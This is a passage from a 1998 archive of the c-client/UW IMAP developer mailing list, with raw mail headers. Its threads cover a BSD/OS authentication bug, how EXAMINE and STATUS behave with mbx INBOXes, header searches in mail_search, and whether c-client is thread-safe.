Dec 1998 10:18:43 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id KAA12561; Thu, 3 Dec 1998 10:16:17 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id JAA32286 for ; Thu, 3 Dec 1998 09:39:26 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id JAA17137 for ; Thu, 3 Dec 1998 09:39:25 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (gargoyle@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id JAA21802 for ; Thu, 3 Dec 1998 09:39:22 -0800 Message-Id: Date: Thu, 3 Dec 1998 09:32:35 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: "Erik R. Leo" Cc: bsdi-users@bsdi.com, c-client@CAC.Washington.EDU Subject: re: (UW)IMAP4, BSD/OS 4.0 and home directories In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 3 Dec 1998 11:25:40 -0500 (EST), Erik R. Leo wrote: > More specifically, this function's interraction with the > auth_compat(3) routine auth_approve results in adding 12 to the *value* of > pw->pw_dir. This seems to be a BSDI issue; it was BSDI that wanted me to use those calls (e.g. auth_approve) instead of the standard UNIX authentication. I have no access to a BSDI system, and thus am completely dependent on what BSDI tells me. It sure sounds like a bug, though. The ball's in BSDI's court, however; either they can fix their libraries or recommend a workaround in the ckp_bsi.c and log_bsi.c files so that they conform to c-client's interface specifications in spite of the problem. Until BSDI resolves this issue, I recommend that you use the bsi port instead of bs3. The bsi port is pretty much the same, except that it uses standard UNIX authentication and login mechanisms. From pinedev@shivax2.cac.washington.edu Wed Dec 9 22:38:36 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Dec 1998 22:38:35 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id WAA10075 for ; Wed, 9 Dec 1998 22:38:33 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id WAA05914; Wed, 9 Dec 1998 22:38:27 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id WAA02038; Wed, 9 Dec 1998 22:37:35 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id WAA29060 for ; Wed, 9 Dec 1998 22:36:49 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id WAA14215 for ; Wed, 9 Dec 1998 22:36:48 -0800 Received: from uxmail.ust.hk (root@uxmail.ust.hk [143.89.14.30]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id WAA24005 for ; Wed, 9 Dec 1998 22:36:46 -0800 Received: from ccsu11.ust.hk ([143.89.103.7]:36048 "HELO ccsu11" ident: "ccyflai") by uxmail.ust.hk with SMTP id <626717-20936>; Thu, 10 Dec 1998 14:34:49 +0800 Received: by ccsu11 (SMI-8.6//ident-1.0) id OAA10755; Thu, 10 Dec 1998 14:34:48 +0800 Message-Id: <19981210143448.B10711@ust.hk> Date: Thu, 10 Dec 1998 14:34:48 +0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Lai Yiu Fai To: c-client@CAC.Washington.EDU Subject: EXAMINE Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi, It found that the EXAMINE command in imap-4.4 doesn't grab any new mails in system mbox into the home directory mbx INBOX. It behaves differently as SELECT command. Though from the spec., "EXAMINE" should be identical to SELECT and returns the same output; except that the selected mailbox is read-only, does it mean it can't grab any new mails into the mbx INBOX and so no recent mails can be checked? Or is it an implementation bug in UW IMAPD? Rgds, ======================================================================= Lai Yiu Fai | Tel.: (852) 2358-6202 Center of Computing Services | Fax.: (852) 2358-2737 & Telecommunications | E-mail: ccyflai@ust.hk | The Hong Kong University of | Clear Water Bay, Science & Technology | Kowloon, Hong Kong. ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Dec 9 22:58:05 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Dec 1998 22:58:05 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id WAA21189 for ; Wed, 9 Dec 1998 22:58:03 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id WAA24108; Wed, 9 Dec 1998 22:57:57 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id WAA22632; Wed, 9 Dec 1998 22:56:08 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id WAA29040 for ; Wed, 9 Dec 1998 22:55:55 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id WAA11830 for ; Wed, 9 Dec 1998 22:55:54 -0800 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id WAA24102 for ; Wed, 9 Dec 1998 22:55:52 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (suave@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id WAA06292; Wed, 9 Dec 1998 22:55:46 -0800 Message-Id: Date: Wed, 9 Dec 1998 22:52:36 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Lai Yiu Fai Cc: c-client@CAC.Washington.EDU Subject: re: EXAMINE In-Reply-To: <19981210143448.B10711@ust.hk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 10 Dec 1998 14:34:48 +0800, Lai Yiu Fai wrote: > It found that the EXAMINE command in imap-4.4 doesn't grab any new mails in > system mbox into the home directory mbx INBOX. It behaves differently as > SELECT command. Though from the spec., "EXAMINE" should be identical to > SELECT and returns the same output; except that the selected mailbox is > read-only, does it mean it can't grab any new mails into the mbx INBOX > and so no recent mails can be checked? Yes, that is correct. EXAMINE is read-only, and read-write is needed to pull new messages from the system mailbox into the home directory. > Or is it an implementation bug in > UW IMAPD? Nope. It's a permanent restriction. What are you trying to use EXAMINE to do? If it's to check for new mail, use STATUS instead. From pinedev@shivax2.cac.washington.edu Wed Dec 9 23:23:43 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Dec 1998 23:23:42 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id XAA07894 for ; Wed, 9 Dec 1998 23:23:40 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id XAA24260; Wed, 9 Dec 1998 23:23:34 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id XAA07456; Wed, 9 Dec 1998 23:22:45 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id XAA09224 for ; Wed, 9 Dec 1998 23:22:27 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id XAA13897 for ; Wed, 9 Dec 1998 23:22:26 -0800 Received: from uxmail.ust.hk (root@uxmail.ust.hk [143.89.14.30]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id XAA06135; Wed, 9 Dec 1998 23:22:19 -0800 Received: from ccsu11.ust.hk ([143.89.103.7]:36058 "HELO ccsu11" ident: "ccyflai") by uxmail.ust.hk with SMTP id <626961-20934>; Thu, 10 Dec 1998 15:20:33 +0800 Received: by ccsu11 (SMI-8.6//ident-1.0) id PAA10816; Thu, 10 Dec 1998 15:20:29 +0800 Message-Id: <19981210152027.A10774@ust.hk> Date: Thu, 10 Dec 1998 15:20:27 +0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Lai Yiu Fai To: Mark Crispin Cc: c-client@CAC.Washington.EDU Subject: Re: EXAMINE In-Reply-To: ; from Mark Crispin on Wed, Dec 09, 1998 at 10:52:36PM -0800 References: <19981210143448.B10711@ust.hk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Wed, Dec 09, 1998 at 10:52:36PM -0800, Mark Crispin wrote: > On Thu, 10 Dec 1998 14:34:48 +0800, Lai Yiu Fai wrote: > > It found that the EXAMINE command in imap-4.4 doesn't grab any new mails in > > system mbox into the home directory mbx INBOX. It behaves differently as > > SELECT command. Though from the spec., "EXAMINE" should be identical to > > SELECT and returns the same output; except that the selected mailbox is > > read-only, does it mean it can't grab any new mails into the mbx INBOX > > and so no recent mails can be checked? > > Yes, that is correct. EXAMINE is read-only, and read-write is needed to pull > new messages from the system mailbox into the home directory. > > > Or is it an implementation bug in > > UW IMAPD? > > Nope. It's a permanent restriction. > > What are you trying to use EXAMINE to do? If it's to check for new mail, use > STATUS instead. Actually, EXAMINE is used in Netscape mail notificaton daemon to check new mail. After I change to mbx INBOX, it doesn't work. Also, I check RFC for "STATUS" command, it states: The STATUS command provides an alternative to opening a second IMAP4rev1 connection and doing an EXAMINE command on a mailbox to query that mailbox's status without deselecting the current mailbox in the first IMAP4rev1 connection. So, EXAMINE is used to opening up a new IMAP connection and query mailbox's status, STATUS can just provide an alternate solution but why these two commands return different results. Is it ambiguous? Rgds, ======================================================================= Lai Yiu Fai | Tel.: (852) 2358-6202 Centre of Computing Services | Fax.: (852) 2358-2737 & Telecommunications | E-mail: ccyflai@ust.hk | The Hong Kong University of | Clear Water Bay, Science & Technology | Kowloon, Hong Kong. From pinedev@shivax2.cac.washington.edu Wed Dec 9 23:35:02 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Dec 1998 23:35:02 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id XAA19196 for ; Wed, 9 Dec 1998 23:35:00 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id XAA06190; Wed, 9 Dec 1998 23:34:52 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id XAA03424; Wed, 9 Dec 1998 23:34:05 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id XAA09428 for ; Wed, 9 Dec 1998 23:33:51 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id XAA31970 for ; Wed, 9 Dec 1998 23:33:50 -0800 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id XAA06184 for ; Wed, 9 Dec 1998 23:33:47 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (bill@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id XAA07167; Wed, 9 Dec 1998 23:33:39 -0800 Message-Id: Date: Wed, 9 Dec 1998 23:32:08 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Lai Yiu Fai Cc: c-client@CAC.Washington.EDU Subject: Re: EXAMINE In-Reply-To: <19981210152027.A10774@ust.hk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 10 Dec 1998 15:20:27 +0800, Lai Yiu Fai wrote: > So, EXAMINE is used to opening up a new IMAP connection and query mailbox's > status, STATUS can just provide an alternate solution but why these two > commands return different results. Is it ambiguous? STATUS doesn't open the mailbox. It just report mailbox status. By special effort, it calculates the status that would happen after grabbing new mail from the system INBOX into the mbx INBOX. From pinedev@shivax2.cac.washington.edu Thu Dec 10 04:44:26 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Dec 1998 04:44:26 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id EAA28479 for ; Thu, 10 Dec 1998 04:44:25 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id EAA08591; Thu, 10 Dec 1998 04:44:18 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id EAA23724; Thu, 10 Dec 1998 04:43:24 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id EAA32302 for ; Thu, 10 Dec 1998 04:42:50 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id EAA28311 for ; Thu, 10 Dec 1998 04:42:49 -0800 Received: from limmat (limmat.switch.ch [130.59.4.30]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id EAA08585 for ; Thu, 10 Dec 1998 04:42:46 -0800 Received: from limmat.switch.ch (actually sunmp) by limmat with smtpL; Thu, 10 Dec 1998 13:42:28 +0100 Message-Id: <11561.913293747@limmat.switch.ch> Date: Thu, 10 Dec 1998 13:42:27 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Marcel Parodi To: c-client@CAC.Washington.EDU Subject: SEARCH HEADER MIME-version: 1.0 Content-type: text/plain; charset="iso-8859-1" Content-transfer-encoding: quoted-printable X-Sender: parodi@switch.ch X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I need to write a special purpose IMAP client and started to have a look at both the c-client library and the Mail::Cclient Perl module. First question: Is there a mailing-list or a newsgroup dedicated to Mail::Cclient or is it suitable to discuss this here on the c-client list? Second question: I need to search for non-standard (ie 'X-foobar') header lines. There's the HEADER key for the SEARCH command in the IMAP specification, but it seems, that it's not possible to use this with the mail_search function implemented in imap-4.4/c-client. I found the function mail_newsearchheader in mail.c which could be useful= for this purpose, but strange enough it's not used at all in the whole co= de. Is there any reason why this functionality is missing? Is there another way to send the command "SEARCH HEADER X-foobar string" to the IMAP server? Marcel Parodi. ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Dec 10 06:54:58 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Dec 1998 06:54:58 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id GAA26445 for ; Thu, 10 Dec 1998 06:54:57 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id GAA27554; Thu, 10 Dec 1998 06:54:50 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id GAA16234; Thu, 10 Dec 1998 06:52:54 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id GAA17192 for ; Thu, 10 Dec 1998 06:52:28 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id GAA10922 for ; Thu, 10 Dec 1998 06:52:24 -0800 Received: from ares.voicerite.com (root@totalcall.com [209.203.195.254]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id GAA09323 for ; Thu, 10 Dec 1998 06:52:24 -0800 Received: from ashvedov (ashvedov [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id JAA19975 for ; Thu, 10 Dec 1998 09:51:45 -0500 Message-Id: <05ff01be244c$b623da70$2601a8c0@ashvedov.voicerite.com> Date: Thu, 10 Dec 1998 09:52:29 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Alex Shvedov" To: Subject: On multithreaded cclient MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Some time ago I posted a question whether anyone has a multithreaded version of cclient; nobody responded. Now I know what changes are necessary to prepare such version, though I don't have it ready yet (to be exact, I have it, but a crude one, with locks/unlocks, which is bad). Is anyone interested? Or I'm the only one? I work on AIX 4.2.1 (IBM's flavor of UNIX). Alex Shvedov. ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Dec 10 08:07:16 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Dec 1998 08:07:16 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA04642 for ; Thu, 10 Dec 1998 08:07:15 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA10062; Thu, 10 Dec 1998 08:07:08 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id IAA14352; Thu, 10 Dec 1998 08:05:38 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id IAA32184 for ; Thu, 10 Dec 1998 08:04:04 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA10063 for ; Thu, 10 Dec 1998 08:04:03 -0800 Received: from ares.voicerite.com (root@totalcall.com [209.203.195.254]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA10011 for ; Thu, 10 Dec 1998 08:03:59 -0800 Received: from ashvedov (ashvedov [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id LAA00060; Thu, 10 Dec 1998 11:03:20 -0500 Message-Id: <000501be2456$b660d7e0$2601a8c0@ashvedov.voicerite.com> Date: Thu, 10 Dec 1998 11:04:05 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Alex Shvedov" To: "IMAP discussion group" , "Karsten Ballueder" Subject: Re: On multithreaded cclient MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN >Alex Shvedov writes: >> Some time ago I posted a question whether anyone has a multithreaded version >> of cclient; nobody responded. >> >> Now I know what changes are necessary to prepare such version, though I >> don't have it ready yet (to be exact, I have it, but a crude one, with >> locks/unlocks, which is bad). >> >> Is anyone interested? Or I'm the only one? >> >We discussed that on the c-client list some time ago and ended up with >Mark Crispin reassuring us that c-client itself is thread-safe (apart >from few init functions). >Thus there is no need for any patches - if he's right. >He says that data is only modified on a per-stream basis so as long as >you don't have multiple threads accessing the same mail stream, >everything is fine. >What exactly are your changes? >I'm working on an email system which I will have to multi-thread soon. >-- >Karsten Ballüder http://www.phy.hw.ac.uk/~karsten/ mailto:Ballueder@usa.net >Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotland > Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-4513136 > "In a world without fences, who needs Gates?" I'm afraid that Mark is wrong, at least, that's what my tests told me. There are at least three problems still to be solved while multithreading cclient (at least, this is true for versions 4.2 and 4.4 I tested). It's a long story to describe them in detail here and now, but the test is really simple: create two threads that talk to the same server (or to two different servers) and try to open these two streams. If you'll manage to do this, I'll eat my hat (lucky not to have one). I did exactly this - and failed on attempt number 2. That's why I went into mutexing (a dumb way, no doubt, but it shows where threads confuse each other) and that's how I know that there are 3 groups of problems, not 2 or 4, yet to be solved. Alex Shvedov. From pinedev@shivax2.cac.washington.edu Thu Dec 10 08:33:08 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Dec 1998 08:33:07 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA29818 for ; Thu, 10 Dec 1998 08:33:06 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA10399; Thu, 10 Dec 1998 08:32:59 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id IAA19959; Thu, 10 Dec 1998 08:31:28 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id IAA09492 for ; Thu, 10 Dec 1998 08:31:10 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA17634 for ; Thu, 10 Dec 1998 08:31:09 -0800 Received: from phyw164.phy.hw.ac.uk (karsten@phyw164.phy.hw.ac.uk [137.195.29.164]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA28723 for ; Thu, 10 Dec 1998 08:31:04 -0800 Received: (from karsten@localhost) by phyw164.phy.hw.ac.uk (8.8.5/8.8.5) id QAA02263; Thu, 10 Dec 1998 16:29:48 GMT Message-Id: <13935.63115.340195.981944@phyw164.phy.hw.ac.uk> Date: Thu, 10 Dec 1998 16:29:46 +0000 (GMT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Karsten Ballueder To: "Alex Shvedov" Cc: "IMAP discussion group" , "Karsten Ballueder" Subject: Re: On multithreaded cclient In-Reply-To: <000501be2456$b660d7e0$2601a8c0@ashvedov.voicerite.com> References: <000501be2456$b660d7e0$2601a8c0@ashvedov.voicerite.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Url: http://Ballueder.home.ml.org/ X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V/Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=Cd|PGg >Alex Shvedov writes: > >> Some time ago I posted a question whether anyone has a multithrea= ded > version > >> of cclient; nobody responded. > >> > >> Now I know what changes are necessary to prepare such version, th= ough I > >> don't have it ready yet (to be exact, I have it, but a crude one,= with > >> locks/unlocks, which is bad). > >> > >> Is anyone interested? Or I'm the only one? > >> >=20 > >We discussed that on the c-client list some time ago and ended up w= ith > >Mark Crispin reassuring us that c-client itself is thread-safe (apa= rt > >from few init functions). >=20 > >Thus there is no need for any patches - if he's right. >=20 > >He says that data is only modified on a per-stream basis so as long= as > >you don't have multiple threads accessing the same mail stream, > >everything is fine. >=20 > >What exactly are your changes? >=20 > >I'm working on an email system which I will have to multi-thread so= on. >=20 > >-- > >Karsten Ball=FCder http://www.phy.hw.ac.uk/~karsten/ mailto:Ballued= er@usa.net > >Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Sc= otland > > Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-451= 3136 > > "In a world without fences, who needs Gates?" >=20 >=20 > I'm afraid that Mark is wrong, at least, that's what my tests told m= e. There > are at least three problems still to be solved while multithreading = cclient > (at least, this is true for versions 4.2 and 4.4 I tested). >=20 > It's a long story to describe them in detail here and now, but the t= est is > really simple: create two threads that talk to the same server (or t= o two > different servers) and try to open these two streams. If you'll mana= ge to do > this, I'll eat my hat (lucky not to have one). >=20 > I did exactly this - and failed on attempt number 2. That's why I we= nt into > mutexing (a dumb way, no doubt, but it shows where threads confuse e= ach > other) and that's how I know that there are 3 groups of problems, no= t 2 or > 4, yet to be solved. --=20 Karsten Ball=FCder http://www.phy.hw.ac.uk/~karsten/ mailto:Ballueder@= usa.net Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotl= and Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-4513136= "In a world without fences, who needs Gates?" =20 From pinedev@shivax2.cac.washington.edu Thu Dec 10 11:50:21 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Dec 1998 11:50:20 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id LAA22929 for ; Thu, 10 Dec 1998 11:50:19 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id LAA13638; Thu, 10 Dec 1998 11:50:09 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id LAA03155; Thu, 10 Dec 1998 11:48:41 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA38710 for ; Thu, 10 Dec 1998 11:48:05 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id LAA09209 for ; Thu, 10 Dec 1998 11:48:04 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (demo@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id LAA13584 for ; Thu, 10 Dec 1998 11:48:02 -0800 Message-Id: Date: 